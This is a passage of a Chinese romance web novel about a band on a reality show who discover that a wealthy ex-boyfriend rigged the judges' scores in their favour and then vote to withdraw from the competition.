她故意抬膝,又向他更近了一点,“哦,可我听来,这好像就是在说我有问题啊,不然为什么我男朋友有什么问题,都只会自己一个人解决,好像跟我没关系一样。” 那种要触不触的距离,让郁思弦紧紧咬住牙关,得努力压制,才不至于在她面前失态。 “阿照,”他声音一出口,哑得他自己都吃惊,顿了好一会儿,他才再次开口,“我们……换个时间再聊这件事吧。” 他实在做不到,在这种时刻,回答和思考她这些问题。 陆照霜歪了歪脑袋,很疑惑的样子,“为什么要换时间,你不是什么都能接受吗?不是什么都没关系吗?那就继续吧,不管我做什么,都继续接受吧。” 她说着,又往前膝行一步,朝他微微一笑,“郁思弦,你觉得这是同情吗?” 已经是不能更近的距离。 郁思弦胸口猛地起伏了一下,闭上眼,无法再看她。 她连名带姓叫他的名字,听语气好像生气了,但他这会儿真的,没法思考了。 “为什么不回答?”陆照霜说着,指尖轻轻从他脸上划下去,划过他的喉结、锁骨,一路往下,就在要碰到的时候,被郁思弦一把攥住手腕。 “阿照!”他猝然睁开眼,“别再……继续了。” 他真的会,控制不住的。 陆照霜挑了挑眉,“你对我有些太小心了,让我感觉我好像不是你女朋友,而是被你邀请过来做客的客人。不过没关系,你就按你的想法继续想吧,我也会按我的想法做,不会再顾忌你怎么想了。” 她笑了笑,手掌挣脱他的桎梏,伸手按住。 郁思弦闷哼出声,再如何克制,所有防线在这一刻终于还是完全崩塌。 他闭上眼,无法正视他的欲望,更无法正视,在她面前丑态百出的自己。 他从未有过具体的幻想对象,想象她实在太过龌龊,尽管他曾经很多次,注视着湖对岸的那栋小楼暗了又亮。 可他连想都不敢去想的人,此刻却对他做着这样的事。神明主动降临他的世间,带着他一起,玷污他和她自己。 这远比任何事情,都更能熔断理智。 郁思弦沉沉地喘了口气,又一次抓住她手腕,却不再是为了恳求,“阿照,我可以不用再忍吗?” 明明是句询问,但在她正要点头的瞬间,他已经摘下眼睛,掷到了茶几上。 他伸手按住她后颈,牢牢地把她脑袋压下来,仰头咬住她的嘴唇,比在河边时更加凶狠,另一只手搂住她的腰,按着她与他紧紧地贴在一起。 没有冰雪和厚重的大衣来给他们降温了,薄薄的衣料根本隔不住他们的热度。 一个深吻的间隙,他挨在她唇边,用低不可闻的喑哑声音问:“阿照,我可以这么亲你吗?” 陆照霜的“嗯”字还未吐出,就被他吞没在了唇齿之间。 下一个间隙,他的手指落在她的衬衫边上,“阿照,我可以碰吗?” 他都这样了,干嘛还问她? 陆照霜被烧得耳根发烫,刚要羞窘地点头,却再一次被他亲得头昏脑涨。 他的手指偏凉,让她一阵阵战栗,她昏沉的大脑迟钝地意识到,他这是在身体力行地抹除“你对我有些太小心了”这句话。 她好像刺激出了什么不得了的东西。 但她又确实……不讨厌,反而觉得……很刺激。 救命,她的喜好原来这么糟糕吗? 就在他们都要跌落边缘的时刻,他忽然从她唇边退开,喘着气道:“不能再继续了。” 陆照霜意乱情迷的大脑恍惚了一下,过了好一阵才反应过来。 这时候不继续了,那他前面是在干什么?报复她吗? 郁思弦眼神也有几分狼狈,“之前没准备,这里没有……” 无论他再怎么想象,也想象不到,他们会在确定关系的第一天做到这种地步。 陆照霜懂了。 因为懂了,所以更是有气没处使。 于是她故意问:“没什么?” 郁思弦不说话了。 陆照霜趴在他肩头,张唇不轻不重地咬了一口,“没什么?” 他只能万分艰难地,吐出那三个字,“安全套。” 他的身体都跟着这个词绷紧了,陆照霜稍稍消气,伏在他颈边平复着呼吸。 他蹭在她湿漉漉的发丝边,偏头吻了吻她的侧脸,“很难受吗?” 她立刻转了个方向,把后脑留给他。 他这不是明知故问。 下一瞬,天地翻转。 她被按进柔软的沙发上,懵住了。 而他垂眸看着她,看起来好像很善良、很好心的模样,“阿照,我用别的办法,帮你解决吧。” …… 等折腾结束,他抱她从浴室出来的时候,她已经捂住脸不肯看他了。 她十分确信,他就是,在报复她。 他捉住她的手,硬是把她的手掰了下来,迫使她直视他的眼睛。 欲念退去,他眼里只剩下纯粹的笑意,好像得到了最珍贵礼物的小孩,在她额头亲了亲,“晚安,阿照。” 看,他甚至已经无师自通了做完坏事以后就撒娇的本领。 陆照霜无可救药地,探过身去,同他接了今天最后一个晚安吻。 闹腾得太晚,陆照霜再醒来时,已经接近中午。 另一侧的床上空无一人,她的衣服清洗烘干,整齐地叠放在那里。 陆照霜伸了个懒腰,换上衣服,准备出门,却又突然顿住。 如果她没记错,她昨晚半梦半醒间,听见郁思弦下床吃药的声音。 他生病了吗?她是知道郁思弦这个人,有多喜欢报喜不报忧的,果断打开了抽屉。 里面有一板蓝色药片,她翻过去,看到后面的名字,“右佐匹克隆片”。 她见妈妈吃过,是安眠药。 药少了十片,满打满算,他从申城到湘城,也就不到十天而已。 陆照霜沉默了一下,把药重新放回去,合上抽屉。 出了卧室,郁思弦正坐在餐桌边,拿平板看最新一期《乐队人》,见到她便按下暂停,笑了一下,“我正好想去叫你来着。” 她坐到他对面,“你什么时候醒的?” “大概九点吧。”郁思弦随口回答。 陆照霜便不再说话了,埋头安静吃饭。 吃完午餐,郁思弦跟着她到了玄关,显然打算送她去节目组。 陆照霜立刻拦住了他,“我自己回去就好,你好好休息吧。” 郁思弦垂眸看着她,微微勾起唇角,“阿照,我看上去很像那种上过床以后,让你一个人回去的渣男吗?” 陆照霜顿了顿,诚恳地回答:“虽然但是,昨天那只能叫未遂。” 郁思弦硬生生被噎住。 陆照霜看他表情仍旧很闷,干脆抓住他的手,放软了声音,“等这一场录完,我们再偷溜出来约会吧。” 郁思弦被她哄得没脾气,只能叹了口气,伸手帮她把身前的衣扣系好,“回去的路上小心,比赛顺利,别有太大压力。” “好,知道啦。”她朝郁思弦挥了挥手,就按住了门把手,但想了想,又跑回来,在他怔愣的目光中,踮起脚亲了下他的唇角。 “拜拜,男朋友。” …… 陆照霜刚一推开练习室的门,就听到里面传来藏都藏不住的大笑。 她挑眉看过去,就见那四个人都捧着手机乐呵。 高若涵直接跑过来,眼睛亮晶晶地看着她,“照霜姐,猜猜我们现在官号有多少粉丝?” 陆照霜打量着他们的神色,于是说得比预期高了点,“二十万?” 其他人纷纷摇头。 高若涵一脸“你这么没想象力”的嫌弃表情,直接把手机亮给她看,“铛铛!是四十二万!上一场比赛才播了一天,还有的涨呢!” 陆照霜再怎么见过大世面,这会儿也忍不住有些震惊了,要知道上一场比赛结束的时候,他们也就堪堪十万粉。 “还有,还有,我们的个人号也都涨了好多粉,勿凡姐是最多的,唐哥少一点,但也有十万粉了!” 这代表他们每个人都有了商业价值,有了正式作为职业乐队生存的资格。 陆照霜眉眼间不禁染上几分笑意,抬眼看向唐湾,“恭喜啊老唐。” 唐湾嘴唇稍稍抿起。 对一个乐队来说,主唱是最吸粉的,这毋庸置疑,陆照霜和林珩作为小提琴手和吉他手紧随其后,贝斯虽然大多数路人观众根本分辨不出来,但是高若涵的颜值摆在那里,性格也讨喜。 只有他,无论是乐器、性格、还是长相,都是综艺节目里最容易被忽视的人。 他能涨那么多粉,是因为上一场比赛,他的鼓声作为歌曲情感的重要转折,被单拎出来特地强调了,节目组自然也就将镜头对准了他,吸引了不少观众的讨论。 唐湾这才意识到,从他们参加综艺以来,陆照霜每次编曲和舞台设计,都有意在把他们每个人都凸显出来。 他说不出太煽情的话,只能低声道了句,“小陆,谢谢。” 她愣了下,随即笑了笑,“这不是应该的吗?我们继续朝种子权加油吧。” 第四场比赛的清晨,陆照霜刚一推开化妆室的门,就看到钟青一个人坐在里面。 要她们两单独待在一起,那就太尴尬了,她立刻往后退了半步,想假装自己没来过。 “陆照霜。”钟青忙叫她。 这下装不成了,陆照霜只能硬着头皮走进去,跟钟青打了声招呼,找了个位置坐下,打开手机掩饰尴尬。 钟青却像是铁了心要跟她搭话,“你上次比赛说乐队是属于现场的东西,为什么那么说?” 陆照霜静了一下,因钟青这个问题,重新想起了十四岁时的那场livehouse,那个再也无法重来的乐队,以及再也不会重现的、她喜欢过的少年。 “我第一次看乐队现场是十四岁——”她顿了下,突然想到,在郁思弦对她说了小时候的事以后,那应该是第二次了。 算了,管它呢。 “livehouse里人真的好多好挤,乐队一直在台上跳来跳去,跟观众一点距离都没有,主唱让打开手电筒,观众真的打开了手电筒,跟着一起摆手。” 她说着,不禁笑了一下,“那真的是我第一次见到那种场面,夹在那里面,就算再难过的事情,好像都可以忘掉了。无论是台上指挥的乐队,还是台下挥手机的观众,缺了谁都不行。那种体验……看再多次视频、听再多次专辑,都绝对取代不了。” 钟青沉默片刻,“抱歉,之前那么草率对你们说那种话。” 陆照霜愣了下,没想到钟青把她叫进来,是为了跟她道歉的,搞得她都有些不好意思了,讷讷地“哦”了声。 “不过,”钟青又道:“放心,虽然我觉得不错,但我们这一场,还是会用我们自己的方式好好完赛的。” 潮湿苔藓上一场拿下了82的全场最低分,这一场可以说是在淘汰边缘了,这种时候还能说出这种话,陆照霜不免对这支乐队有所改观。 “那,我们就都各自加油吧。” …… 这一轮,逃出人间抽到了第一个出场,依然不算一个好次序。 但他们这场只要不出重大事故,是不可能被淘汰的,所以全员情绪良好,镇定地上了台。 徐勿凡朝台上台下鞠躬,“我们今天带来的歌,《旋转十字路口》。” “红灯、绿灯、转起来, 斑马线拦在我身前, 车流穿过雨幕向前开, 不知哪一边是正确存在。” 一反往日又燃又紧凑的编曲风格,今天他们的曲风格外柔和抒情。 观众们完全被陆照霜手下那架颤音琴,和她手里的四根琴棒吸引了注意。 琴棒敲击着宽大的金属琴键,风铃一样空灵缥缈的音色,模拟着落雨和红绿灯的变化,如身临其境般带人进入那种迷茫氛围。 副歌部分的电吉他solo充满了漂浮的失重感,给人以短暂的情感宣泄。 “黄灯恍惚闪又闪, 人潮换了一群又一群, 只有我在原地没动弹, 原来最错的是原地徘徊。” 音乐在颤音琴的一声轻轻敲击中抵达尾声,情绪也从最开始的茫然,变为了最后醍醐灌顶的淡淡忧愁,作为开场的第一首歌,无疑给人一种酸柠檬般的独特体验。 “哇,好好听,逃出人间又换了风格诶!” “论逃出人间能给我们带来多少惊喜!” “那个琴的声音好好听,小提琴手怎么什么都会啊!” “只有我觉得她不拉小提琴了实在太可惜了吗?” 曲风的变化和颤音琴的听觉视觉效果,让台下重新掀起了有关他们的热潮,而在评委那边,虽然整体评价不比上一场,但还是拿下了97.67分。 回到舞台边的等待席,陆照霜心底微微松了口气。 说真的,她到了这一场,真的有点不知道,该怎么继续提供新鲜感了,好在她接触过的乐器很多,虽然达不到小提琴和钢琴的水准,但临阵磨刀完成一首歌还是做得到的。 如果这种方式可行,那接下来的比赛里,萨克斯等等音色特别的乐器,她都可以利用起来。 接下来出场的猩红月球,依然是金属摇滚风格,比上一场更燃更爆,陆照霜忐忑地等待着结果公布。 “恭喜,猩红月球,97.23分!” 陆照霜悬起的心终于放下,不同风格的曲子同台竞技,只要能把观众带入情绪,那其实是不太好比的,也许是他们表现出的多面性,赢得了评委的青睐吧。 下一场出场的量子玫瑰,超过了猩红月球,拿下了97.45分,而潮汐海出现严重失误,电解质幽灵主唱感冒、嗓子哑了,分数跌破谷底。 至此,种子权已经被稳稳当当地收入囊中,他们可以保送进决赛了! 陆照霜偏过头,和队友们默默交换了一个振奋的眼神。 徐勿凡紧张了这么多天,这会儿终于松了口气,嘴角笑意浮现。 陆照霜也不由心中一轻。 最后一个上场的是潮湿苔藓。 他们上一场的糟糕表现,让观众对他们毫无期待,谁会期待一个注定淘汰的乐队? 潮湿苔藓在这样的低潮中走上舞台,坐在了五张高脚凳上。 这大概率是他们在这个舞台上的最后一场演出,每个人都显得格外平静。 钟青举起话筒,“今天我们带来的歌是《旧日的风》。” 依然是潮湿苔藓那种温柔而抒情的风格,但抱着最后一场绝对不留遗憾的念头,他们今天乐器组每个人都发挥稳定,钟青的嗓音也比之前每一次都更有故事感。 有不少原本兴致缺缺的观众,都忍不住抬头看向他们,替他们可惜,这种风格在乐队竞演里是真的不吃香。 这种念头,持续到副歌的高音段为止。 钟青的第一声响起,就直接吸引了全场的注目。 “多想请大风停一停, 别吹散屋顶上空的炊烟。 多想请时光慢一慢, 别揉皱奶奶额头的纹路。” 手风琴圆润悠扬的音色,以及他们背后,大屏幕上带噪点的乡间画面,几乎要把人带入一场有关童年的梦境。 钟青闭着眼睛,压抑不住,嗓音里甚至带上了一种若隐若现的哭腔。 “请给我多一点时间, 穿过故乡的田埂线, 让裂纹弥合河床、 让石磨再次旋转、 让门口的老树长出新果子, 让我奔向那扇熟悉的木门, 让我来得及,对她说一声再见。” 带着哭腔唱歌是很容易把歌唱歪的,但钟青的哭腔,却恰好达到了一种绝无仅有的情感张力。 掌声在他们的最后一丝余音结束后,用力又响亮地响起,像是对上一场那么冷怠他们的补偿。 钟青听到掌声,才终于睁开眼,怔怔看着台下拼命鼓掌的观众,再也忍不住,一滴眼泪随着她低头的那一刹滴落在地。 她的所有队友都扑过去,紧紧抱住她,和她一起哭成一团。 不是抒情歌就赢不了乐队竞演,只要它真的够动人,那这种感染力,几乎可以冠绝现场。 陆照霜久久没有办法从刚才的震撼中回过神,今天早上说“会用我们自己的方式好好完赛”的那个人,真的做到了。 如果他们今天是其他风格还好说,但同为抒情类型,潮湿苔藓的情感张力真的太强大了。 是他们输了。 她怔愣了片刻,随即和其他观众一起,用力为他们拍起手。 她甚至,不知道为什么,还有点羡慕钟青。 简直像是听到了她的心声,坐在旁边的林珩突然说:“下一次,我们就不要管什么新意不新意的,就按我们风格来吧。” 陆照霜重重地点了下头,“嗯!” 这场潮湿苔藓拿下第一名,应该就可以晋级,他们还有下一次,可以和潮湿苔藓同台竞技的机会。 “你们的音乐真的太动人了,如果不是规则不允许,我会给你们打满分!”有两位评委对潮湿苔藓表达了强烈的喜爱。 这个分数完全不出意料,观众听见了也都是大声鼓掌。 “逃出人间、潮湿苔藓,连续两场都是第六位的黑马逆风翻盘,这也太绝了!” “乐队人真的被综艺之神眷顾了吧?” 轮到了第三位评委、坐在中间的蔺承平发言,他握着话筒,斟酌着道:“你们的音色很不错,但情感表现上似乎有些太单一了,很抱歉,我只能给你们93分。” 陆照霜愣了一下,什么叫情感表现单一,这说的什么话? 剩下的两位评委,理由不一而同,却都一样打出了低分。 “很遗憾,潮湿苔藓,94.56分。”主持人没法念出恭喜那两个字。 台上的潮湿苔藓,眼里的光一点点熄灭下去,他们也算出来了,这个分数恰好没能救回他们上一期的颓势,小组赛,他们将以第五名淘汰。 钟青起先还勉强笑了一下,最终还是在台上哭得泣不成声。 陆照霜懵住了,台下的观众也都懵住了。 是他们和评委的口味差别太大了吗?为什么唱出了这样一首歌的潮湿苔藓,会被淘汰? 但节目不等人,接下来还有三个小组出场,主持人宣布道:“让我们恭喜,逃出人间拿下种子权!猩红月球、量子玫瑰、电解质幽灵晋级下一轮!潮湿苔藓、潮汐海,很遗憾,只能离开我们的舞台。” 镜头已经转向了他们,但陆照霜却笑不出来。 同样是拿下第一名,甚至种子权也稳稳到手,但陆照霜这一次,就是笑不出来。 她身边静默的空气,证明,她的队友们,也一样这么想。 * 录制完成,他们回到练习室,无论是庆祝,还是商讨决赛的策略,他们好像都没有力气做了。 陆照霜脑子里还回荡着钟青在台上哭的画面,胸口像是打翻了一罐酸水。 “说真的,我之前是不喜欢他们,”林珩憋不住了,“但他们这一场就是表现得很好啊。” 唐湾张了张唇,最后不知道能说什么,还是沉默了下去。 高若涵努力扬起唇角,“唉,不管怎么说,这也不是我们能决定的事情,我们先去吃饭吧!” 五个人心事重重地一起出来,在电梯口,恰好碰到了蔺承平,以及,大包小包拖着行李、准备离开节目组的潮湿苔藓。 一时氛围有些凝滞。 倒是钟青先对陆照霜笑了一下,“你们留在这里加油呀,我会继续关注你们的。” 陆照霜顿时更难受了,“你们这么快就要走了吗?” “嗯,”钟青点了下头,“本来大家也是请了假来比赛的,既然晋不了级,那还是早点回去,起码少扣点工资。” 唐湾和高若涵一怔,都跟着喉头一紧。 默默无名、没人看好、无法职业化、请了假过来博一个可能,他们实在是,太像了。 电梯到了,大小有限,大家一致让给带行李的潮湿苔藓。 红色的数字一层层往下跳,他们这边却之前更沉默了。 在那个红色的数字变成“1”的时候,蔺承平很轻地叹了口气,“真可惜,反正都能晋级,何必呢。” 在落针可闻的走廊里,这句话的每个字都清晰地传进了他们耳朵里。 就他们两支乐队在这里,“反正都能晋级”的,不可能是指他们以外的乐队吧? 真是好奇怪、好莫名奇妙的一句话。 电梯重新回来,蔺承平率先走进电梯,好一会不见他们动弹,“不进来吗?” 逃出人间所有人,都不知被什么东西定在了原地。 蔺承平也就没有再问,任凭电梯门慢慢关上。 就在快要合上的那一刻,陆照霜再也忍不住,上前一步,挡住了闭合的电梯门,“您刚才那句话是什么意思?” 蔺承平诧异地看着她,笑了一下,“何必要这时候装不知道呢?反正有这样的背景在,你们还不是前途无限?” 陆照霜瞳孔瞬间放大,手上的力道一松。 电梯门重新合上。 走廊陷入死寂,许久之后,高若涵才找回自己的声音,“他说什么背景啊?我们有什么背景啊?” 唐湾大脑一片混乱,只有一个勉强对上的人选,“思弦?” “不可能!”陆照霜蓦然打断了他,“思弦不会做这种事。” 林珩感觉脑子已经被烧成了浆糊,“他瞎说的吧,我们本来就能晋级啊,就算拿不下种子权也能晋级啊。总不能是为了保我们第一,所以专门让潮湿苔藓输的吧?谁会做这么莫名其妙的事情?” 是啊,谁会做这么莫名其妙的事情? “嗡嗡——”陆照霜口袋里手机震动,她下意识拿出来,朝屏幕看去。 来电人,萧烨。 她瞳孔骤然一缩,好像有些想不通的事情此刻终于串联起来,心脏跟着往下,沉沉一坠。 【作者有话说】 非常抱歉!一直找不到可以合适停下来的时机,所以又写长写晚了[小丑]接下来会尽快收尾的 60-64 第61章 ◎郁思弦跨过斑马线,朝她飞奔而来◎ “抱歉,我有事先出去一趟!” 陆照霜抛下这句话,立刻跑进电梯,在队友们怔愣的目光中按下关门键,接起萧烨的电话。 “阿霜,”萧烨惊喜的声音从话筒里传来,“你终于肯接我电话了。” 陆照霜没跟他叙旧,直接问:“你现在在哪?” 萧烨报了酒店名字和房号,笑意几乎要从话筒里溢出来,“你要来找我?好巧,其实我本来也有事想跟你说。” 陆照霜没再继续听下去,直接挂断了电话,双手将手机紧紧攥在胸前,祈求千万不要是她想的那样。 她心焦如焚,连怎么走到酒店的都不知道,萧烨的房门就近在眼前,她去敲门的手却控制不住地抖了一下。 她咬住唇,左手紧紧握住右手的腕骨,用力地在门口叩了两下。 “咚咚。” 门被倏然拉开,好像里面的人等待这一声,已经等了很久很久的时间。 跟着,彩带“砰”一声在头顶炸开,缤纷的色彩飘扬而下,甚至有一缕蓝色的彩带落在了她头顶。 萧烨一手拿着简易的礼花拉炮,另一只手取下她头上的那缕彩带,顿了顿,没能第一时间撤开手。 他真的又有好一阵,没有见过她了。 他手指挨在她发际微微蜷动了一下,知道不能操之过急,还是强迫自己收了回来,笑盈盈对她道:“生日快乐,阿霜。” 在他身后,是湘城最漂亮的夜景,屋内打着酒红色的氛围灯,隐约还能看见蛋糕和丰盛的晚餐。 陆照霜看着这个画面,整个人都恍惚了一下。 萧烨连忙解释:“我不是记错了你的生日,就是那天……你不肯接我电话,而且,当时我也确实,还没有准备好给你的生日礼物。” 今天能发生什么,让他准备好一份礼物呢? 凉意一点点顺着脊柱往上攀爬,陆照霜再开口时,嗓子都已哑了,“你说的,不会、不会是今天的比赛……” “你猜到了?” 萧烨带笑的一声反问,彻底浇灭了她的最后一丝侥幸。 他一边向里走,一边漫不经心道:“我重新看了一下之前的几期节目,你们第二场比赛就拿了22名,这不是差一点就淘汰了吗?真搞不懂郁思弦在做什么,他连你的事上,也要讲究他那点可悲的自尊心吗?不过阿霜,你不用担心,我不会再让这种事情发生了。” 所以是真的,他操纵了今天的比赛结果。 “为什么?”陆照霜嘴唇都开始颤抖,“我们本来就能晋级,为什么要让潮湿苔藓淘汰?” “潮湿苔藓?今天那个被淘汰的乐队叫潮湿苔藓吗?我没什么印象了,”萧烨无所谓地笑笑,“不管是哪只乐队,阿霜,我不会让任何人再越过你,你会以无可置疑的成绩,在这个节目上拿下冠军的。” 他的语气,就好像那不是五个活生生的人,而是五只微不足道的蝼蚁似的。 陆照霜彻底被冻僵在原地,就为了这种理由?为了一个所谓的“第一名”的名头,直接葬送掉另一支乐队的未来? 萧烨见她愣在原地不动弹,便重新回来,拉过她的手,牵着恍神的她往里走,语气分外笃定。 “阿霜,以前是我不对,让你失望了那么多次,以后,不管是这支乐队、还是别的东西,只要是你想要的,我都会让你拥有最好的。” 他牵着她来到桌边,为她斟了半杯红酒,推到她面前,微垂的眉眼,在氛围灯下显得格外温柔,“抱歉,晚了几天,生日快乐,阿霜。” 钟青留在台上的眼泪、萧烨近在咫尺的微笑;潮湿苔藓黯然拖进电梯的行李、桌上斟好的红酒和庆祝佳肴……世界上怎么能有这么割裂的画面? 陆照霜被撕扯得头痛欲裂,紧紧按住了自己左边脑袋,希望这一切都是一场噩梦。 “阿霜?不舒服吗?”萧烨紧张地伸手探过来。 陆照霜条件反射般打掉他的手。 萧烨还没反应过来,下一瞬,红酒从他头上兜头浇了下去。 潮湿的触感滑过鼻梁、滑过唇畔,顺着发丝钻进衣服里,浇得萧烨胸口冰凉一片,好半天,他才抬手抹掉自己眼前的酒水,不敢置信地睁眼看她,“阿霜?” 她死死攥着已经空掉的高脚杯,浑身都在止不住地颤抖。 “萧烨,别再装出一副关心我的样子了,你看不起我尊重的对手、你也看不起我们为了比赛做的所有努力……我的一切对你来说都是个笑话,你根本就看不起我!” “阿霜,我怎么可能看不起你?这只是一件礼物而已。” “礼物?”陆照霜像是听到了全天下最好笑的笑话,荒谬到笑出声来,不可抑制地肩头耸动,手劲一松,酒杯“啪”一声碎在她脚边。 那些玻璃碎片看得人触目惊心,萧烨顾不得跟她吵,伸出手试图拉她换个位置,“阿霜,你别站那里。” 陆照霜如避蛇蝎般向后退了一步,死死盯着他的眼睛。 “你把我们本来可以堂堂正正拿到的东西变成了暗箱操作,你让我和我队友们背上了这种污点,还要说这是送我的礼物?我这辈子都不可能收到比这更惊喜的礼物了!” 萧烨脸色几番变幻,却还是强自压抑下来,耐着性子道:“阿霜,你要天真到什么时候?娱乐圈这种吃人不吐骨头的地方,你不做别人就会做,你真的觉得光凭实力就能在娱乐圈走下去吗?” “哈?在做完那种事以后,你还要用你的想法来规劝我的人生?萧烨,我最大的天真,就是以为我能和你沟通。” 陆照霜深深喘了口气,看也不看他,径自朝门外走去。 “阿霜!”萧烨追上去拽她,“你别这样!” 陆照霜立刻甩开他的手,反手给了他一个巴掌。 “啪”的一声,宛如惊雷,带来一片暴雨后的死寂,屋内只剩下了她急促的喘息声。 萧烨再也说不出一句话,只是一眨不眨地看着她。 他几乎从未见她与人发生过肢体冲突,更遑论是她主动,第一次见,却是对着他。 “你以前很喜欢考验我的感情,现在又开始考验我的良心,”陆照霜闭了闭眼,头也不回地走出房门,“萧烨,别再来破坏我的人生了,真希望我从没认识过你。” 房门大敞着,酒店内有恒温空调,但萧烨还是觉得,好像有冷气从走廊源源不断地吹进来,也许是被红酒打湿的衬衫太冷了。 他该去关上门,换身衣服,叫人撤走这一桌菜的。 但他却一步也动不了,脑子里反反复复想起她方才的眼神。 他亲眼看着她从爱他,变成怨他、变成厌烦他、又变成厌弃他。 为什么,无论他做与不做、做什么,事情总是会越来越糟呢? …… 屋外又开始下雪了。 陆照霜浑浑噩噩地走在回节目组的路上,不知道她该怎么跟队友们解释,又该怎么去挽回这个错误? 重录一遍节目?请导师重新评选一*遍? 不,不可能,别说这有多兴师动众,就算做得到,现场也已经有上千观众都看到了今天的过程,该流出的小道消息早都流出去了。 无论是导师还是节目组都不可能承认这个错误,那等于直接认下比赛有黑幕,把《乐队人》整档节目和所有参赛乐队一起拖下水,所有人都得沾上作假的污点。 哪怕风格不同、哪怕互相竞争、哪怕会发生矛盾,但所有聚在这个舞台上的乐队,都是活生生的、为了梦想和未来拼搏的存在,他们没有任何理由受伤害。 要怎么在顾全大局的前提下,把已经发生过的错误抹除?让一切各归各位? 她这次真的,想不到任何主意了。 不……有的。 她脚步蓦然顿住,放大的瞳孔里倒映出湘城变幻的霓虹灯,雪花落在她苍白的脸上,让她如坠冰窟。 那是一个,唯独她没有资格提出来的方式。 “阿照!” 她怔怔抬头。 郁思弦站在斑马线那头,手机还举在耳边,满脸焦急地看着她。 不知道什么时候,她竟然已经走到节目组附近了。 人行道上红灯一秒一秒倒数着,在变成绿色的那一瞬间,郁思弦跨过斑马线,朝她飞奔而来。 “阿照,今天的事情我查清楚了,是萧——” 剩下的话被她一头撞散在了空气里。 她紧紧抱住他的腰,紧绷了一路的神经在此刻松懈下来,她终于崩溃地哭出声,“思弦,怎么办?我该怎么办?” 从小到大,她第一次表现得,这样痛苦而脆弱。 郁思弦突然就明白,她什么都知道了,甚至他想过的那些可能,她也全都想过了。 胸腔被她的眼泪烫得阵阵抽痛,他手掌攥紧又松开,最后长长呼出一口白气,伸手握住她的肩膀,将她的身体掰正,好直视她泪眼模糊的眼睛。 “阿照,是我的错,如果我早点发现萧烨的动作,就不会有这种事了。” 她语调带着微微的哭腔,却还是立刻否认,“怎么会是你的错?” 郁思弦从善如流,“既然不是我的错,那当然也不会是你的错。” 陆照霜微微一怔。 “阿照,你不需要为别人的错误羞愧。这只是一档综艺,不管你做什么选择,你们的人生都不会就此停下,其他人的人生也不会因此毁掉,所以阿照,别怕,没什么好怕的。” 陆照霜唇角颤动了一下,才低低地“嗯”了一声。 郁思弦轻轻拂掉落在她发顶的雪花,把自己的围巾解下,围住她冻得通红的耳朵,然后温声询问:“林珩他们已经被我安排在酒店了,我们先去见见他们,好吗?” 62/ 第62章 ◎柳暗花明又一村◎ 逃出人间所在的包房近在眼前,陆照霜深吸了一口气,预备去握门把手,却被郁思弦截住手腕。 他静静注视着她的眼睛,“阿照,‘我不杀伯仁,伯仁却因我而死’,这种事情,无论是自责还是负责,都是做起来远比说起来难的事情。做决定只需要一瞬间,但承担这个决定却可能要花上经年累月的时间……所以,选你觉得最不会后悔的就好。” 她眼尾哭过的红已经逐渐褪去,这会儿却因为他这句话而险些再次失控,她努力忍住,对他微微笑了一下,“好。” 她按下门把手,拉开。 里面四个人齐齐朝这边望过来,林珩按捺不住,急急问:“你们终于回来了,怎么样?事情搞清楚了吗?” “嗯,”陆照霜一边解下围巾,一边走到他们身边坐下,“搞清楚了。” 随着她的每一句描述,他们眼里的侥幸渐渐消失无踪。 陆照霜讲完的那一刻,屋内有好长一段时间阒寂无声。 高若涵勉强笑了一下,学着陆照霜以前鼓舞大家的方式,拍拍手把大家从怔忡间唤醒,“这么多困难我们都解决了,没道理这一次就解决不了,我们来想想办法吧,总会有办法的!” 大家遂打起精神,一个接一个提议,又一个接一个否定,那个曾经在陆照霜心头浮现的解决方式,也同样浮现在了他们心头。 一时所有人都好像失去了语言能力。 陆照霜闭了闭眼,那是唯独她没有资格提出来的建议,但她也不愿意,将说这句话的责任,推到别人身上。 她再睁开时,看着四人苍白的脸庞,一字字道:“我们退赛吧。” 他们退赛,这个“第一名”的名头也就没了意义,潮湿苔藓顺位到第四,晋级下一轮,节目也不会被卷进造假丑闻。 “不是,”徐勿凡双手抱住头,“我们都走到这一步了,为什么要为了潮湿苔藓那种背后说过我们的乐队退赛?我们就当不知道,不好吗?” 其他三人嘴唇动了动,既没法说退赛,也没法像徐勿凡说的一样坦然走下去。 是人就会有野心,会为了远大前程动心,这明明是再正常不过的事情,却要因为萧烨的插手,让他们的动心,也同时煎熬着良心。 这是陆照霜最最,无法原谅萧烨的事情。 她平复了一下呼吸,慢慢说出自己的想法,“我们现在有四十多万的粉丝,作为职业乐队,我们已经开始起步了,参加音乐节、办音乐会的机会不会少,将来的路还那么长,我们没有必要一开始就背上这种污点和精神压力。” 徐勿凡嗤笑一声,“是,没有污点干干净净走到最后当然好,但有又怎么样?有必要那么在乎吗?只要我们能赢到最后,再多的争议也都是废话!” “可那样我们会走得很累的,我们组乐队不是为了这么生活的,不是吗?” 徐勿凡抿着唇,没有被陆照霜说服,也说服不了陆照霜,她干脆抬头看向其他人,“那就还是投票决定吧,我反对。” 陆照霜深吸了一口气,“我弃权。” 徐勿凡诧异地看向她,“你又后悔了?” 陆照霜垂下头,“退赛是我的建议,但这件事发展到这个样子,有我的责任,不管最后大家怎么选,我都会陪大家走下去。” 徐勿凡沉默了半晌,看向另外三人,“你们怎么想?” 唐湾沉吟片刻,“如果我们不是想堂堂正正用音乐证明我们自己,何必在搁浅挣扎那么久?” 仗着交情去跟郁思弦争取一些资源,他们早都可以脱离搁浅那种窘境了。 “既然当时我们没那么做,现在也一样,”他长呼出一口气,“我选择退赛。” 高若涵低头看着自己握贝斯的那双手,再抬头时,像抛下了什么重担,眼里一轻,“贝斯对我来说已经够重了,我背不起更重的东西了,我们退赛吧。” 2:1。 徐勿凡咬了咬唇,最后看向林珩,极其罕见地,对林珩露出了恳求和示弱的神色。 林珩没有回避她的注视,“综艺节目这种名利场,太能放大我们的欲望了,今天看到潮湿苔藓比赛的时候,我就觉得,为了赢,我们好像有点走远了,我们不能走得更远了。” 这话让高若涵和唐湾微微一怔。 林珩声音轻而郑重,“如果连这种假面都没勇气撕掉,那我们的所有歌,都会变成一个笑话。我选退赛。” 3:1,尘埃落地。 陆照霜和徐勿凡同时闭上眼,前者的肩胛骨并未放松下来,后者的神情,其实也谈不上有多意外。 唐湾作为年纪最大的那个,主动缓和气氛,“《乐队人》确实曝光量够大,但最后说到底,成事的还是人,只要我们大家齐心协力,以后机会多的是。” 高若涵跟着插科打诨,“唐哥一定经常代表部门发言吧?你说话真的太老干部了。” “抱歉,我没法继续了。” 这一声凛冽的女声,让唐湾和高若涵嘴角的笑容一僵。 徐勿凡语气平缓,却透着坚决,“我要退出乐队。” 林珩瞳孔蓦然一缩。 